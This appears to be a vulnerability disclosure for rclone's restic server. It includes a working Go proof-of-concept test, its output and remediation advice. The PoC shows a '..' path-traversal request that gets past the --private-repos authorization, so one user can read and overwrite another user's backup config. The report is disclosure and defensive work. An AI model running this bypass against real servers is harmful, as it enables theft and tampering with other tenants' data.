Details
Reproduce against the exact vulnerable tag:
git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone
cd rclone
# write the test file shown below to cmd/serve/restic/zzz_poc_test.go
go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v
cmd/serve/restic/zzz_poc_test.go:
package restic
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/rclone/rclone/fs"
"github.com/rclone/rclone/fs/config/configfile"
"github.com/rclone/rclone/fs/object"
"github.com/rclone/rclone/lib/random"
"github.com/stretchr/testify/require"
_ "github.com/rclone/rclone/backend/memory"
)
func pocBasicAuth(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)
// request-target + method + Basic auth, returning the full raw response.
func rawReq(t *testing.T, addr, method, target, user, pass string) string {
conn, err := net.Dial("tcp", addr)
require.NoError(t, err)
defer func() { _ = conn.Close() }()
cred := pocBasicAuth(user, pass)
req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
_, err = conn.Write([]byte(req))
require.NoError(t, err)
r := bufio.NewReader(conn)
var sb strings.Builder
buf := make([]byte, 8192)
for {
n, err := r.Read(buf)
if n > 0 {
sb.Write(buf[:n])
}
if err != nil {
break
}
}
return sb.String()
}
func pocBody(resp string) string {
if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 {
return resp[idx+4:]
}
return ""
}
func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }
// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass
// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).
func TestPrivateRepoCrossTenantPoC(t *testing.T) {
configfile.Install()
ctx := context.Background()
// Bucket-style backend shared by all private-repo users.
f, err := fs.NewFs(ctx, ":memory:repos")
require.NoError(t, err)
put := func(remote, content string) {
info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)
_, perr := f.Put(ctx, strings.NewReader(content), info)
require.NoError(t, perr)
}
// Victim "alice" uploads her restic config under her own private prefix.
secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8)
put("alice/config", secret)
// Attacker "mallory" has her own valid account on the same server.
put("mallory/config", "mallory-own-config")
opt := newOpt()
opt.PrivateRepos = true
opt.Auth.BasicUser = "mallory"
opt.Auth.BasicPass = "password"
opt.HTTP.ListenAddr = nil
s, err := newServer(ctx, f, &opt)
require.NoError(t, err)
ts := httptest.NewServer(s.server.Router())
defer ts.Close()
addr := strings.TrimPrefix(ts.URL, "http://")
// 1. Sanity: mallory reads her own config -> 200.
r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password")
t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))
// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.
r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password")
t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))
// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so
// checkPrivate passes, but the object remote collapses to alice/config.
r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
leaked := strings.Contains(pocBody(r3), secret)
t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))
require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")
// 4. Write bypass too: mallory overwrites alice's object (append-only off).
r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password")
t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4))
}
Observed output (v1.74.3 and master HEAD):
=== RUN TestPrivateRepoCrossTenantPoC
zzz_poc_test.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config"
zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n"
zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0"
zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK
--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)
PASS
ok github.com/rclone/rclone/cmd/serve/restic 0.022s
The shipped TestResticPrivateRepositories continues to pass alongside this PoC, confirming the intended isolation model (own 200, direct cross-tenant 403) is exactly what the .. request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or net/http client would canonicalize the .. before sending, but curl --path-as-is, restic's own REST client, or any raw socket write preserves it.
Remediation
Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:
- In
WithRemote(or beforecheckPrivateruns), reject orpath.Cleanthe request path and refuse any path containing a..element after a leading-slash trim — e.g. computecleaned := path.Clean("/" + strings.Trim(urlpath, "/"))and403/400ifcleaneddiffers from the original or still contains a..segment. Then storecleaned(minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in
checkPrivate, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi{userID}route param in isolation:require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID. - Defense in depth: the restic server should canonicalize and
..-reject incoming object paths even when--private-reposis off, so that no backend is relied upon to neutralize traversal.
Please credit 5ud0 / Tarmo Technologies.